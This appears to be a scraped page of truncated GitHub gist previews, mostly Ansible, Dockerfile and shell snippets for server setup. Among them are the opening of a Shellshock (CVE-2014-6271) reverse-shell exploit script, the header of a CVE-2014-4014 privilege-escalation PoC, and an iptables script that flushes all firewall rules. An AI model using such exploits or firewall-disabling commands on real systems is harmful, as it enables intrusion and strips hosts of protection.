This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
--- | |
- name: Add the key used to Ruby pkg | |
apt_key: url={{ ruby_url }} state=present | |
- name: Add repos for Ruby install | |
copy: src=hellobits.list dest=/etc/apt/sources.list.d/ | |
- name: Install Ruby | |
apt: name={{ ruby_version }} update_cache=yes |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
--- | |
- name: Add the key used to Ruby pkg | |
apt_key: url={{ ruby_url }} state=present | |
- name: Add repos for Ruby install | |
copy: src=hellobits.list dest=/etc/apt/sources.list.d/ | |
- name: Install Ruby | |
apt: name={{ ruby_version }} update_cache=yes | |
tags: ruby |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
--- | |
- name: Install extra packages | |
apt: name={{ item }} state=present | |
with_items: | |
- build-essential | |
- libyaml-dev | |
- libssl-dev | |
- git | |
- ufw |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
iptables -P INPUT ACCEPT | |
iptables -P FORWARD ACCEPT | |
iptables -P OUTPUT ACCEPT | |
iptables -F | |
iptables -X | |
iptables -t nat -F | |
iptables -t nat -X | |
iptables -t mangle -F | |
iptables -t mangle -X | |
iptables -L -n |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/** | |
* CVE-2014-4014 Linux Kernel Local Privilege Escalation PoC | |
* | |
* Vitaly Nikolenko | |
* http://hashcrack.org | |
* | |
* Usage: ./poc [file_path] | |
* | |
* where file_path is the file on which you want to set the sgid bit | |
*/ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Set the base image to Ubuntu | |
FROM ubuntu | |
# Update the repository | |
RUN apt-get update | |
# Install necessary tools | |
RUN apt-get install -y wget net-tools build-essentials | |
# Download and Install Nginx |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
# https://blog.deimos.fr/2014/06/16/lxc-ressources-statistics/ | |
for i in * ; do | |
if [ -d $i ] ; then | |
echo "===== $i =====" | |
echo "CPU, cap: " $(cat /sys/fs/cgroup/lxc/$i/cpuset.cpus) | |
echo "CPU, shares: " $(cat /sys/fs/cgroup/lxc/$i/cpu.shares) | |
awk '{ printf "RAM, limit usage: %sM\n", $1/ 1024/1024 }' /sys/fs/cgroup/lxc/$i/memory.limit_in_bytes | |
awk '{ printf "RAM+SWAP, limit usage: %sM\n", $1/ 1024/1024 }' /sys/fs/cgroup/lxc/$i/memory.memsw.limit_in_bytes |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/sh | |
# | |
# script loop2jack, located in /usr/local/bin | |
# | |
# Start jack if it is not already running: | |
/usr/bin/jack_control start | |
# loop client creation | |
/usr/bin/alsa_out -j ploop -dploop -q 1 2>&1 1> /dev/null & | |
/usr/bin/alsa_in -j cloop -dcloop -q 1 2>&1 1> /dev/null & | |
# give it some time before connecting to system ports |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# CVE-2014-6271 cgi-bin reverse shell | |
# Original: http://pastebin.com/raw.php?i=166f8Rjx | |
import httplib,urllib,sys | |
if (len(sys.argv)<3): | |
print "Usage: %s <host> <vulnerable CGI>" % sys.argv[0] | |
print "Example: %s localhost /cgi-bin/test.cgi" % sys.argv[0] | |
exit(0) | |
conn = httplib.HTTPConnection(sys.argv[1]) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
FROM ubuntu:trusty | |
# Update the repository | |
RUN apt-get update | |
# Install necessary tools | |
RUN apt-get install -y wget net-tools build-essential git | |
# Setup Install Nginx | |
RUN wget -q -O - http://nginx.org/keys/nginx_signing.key | apt-key add - |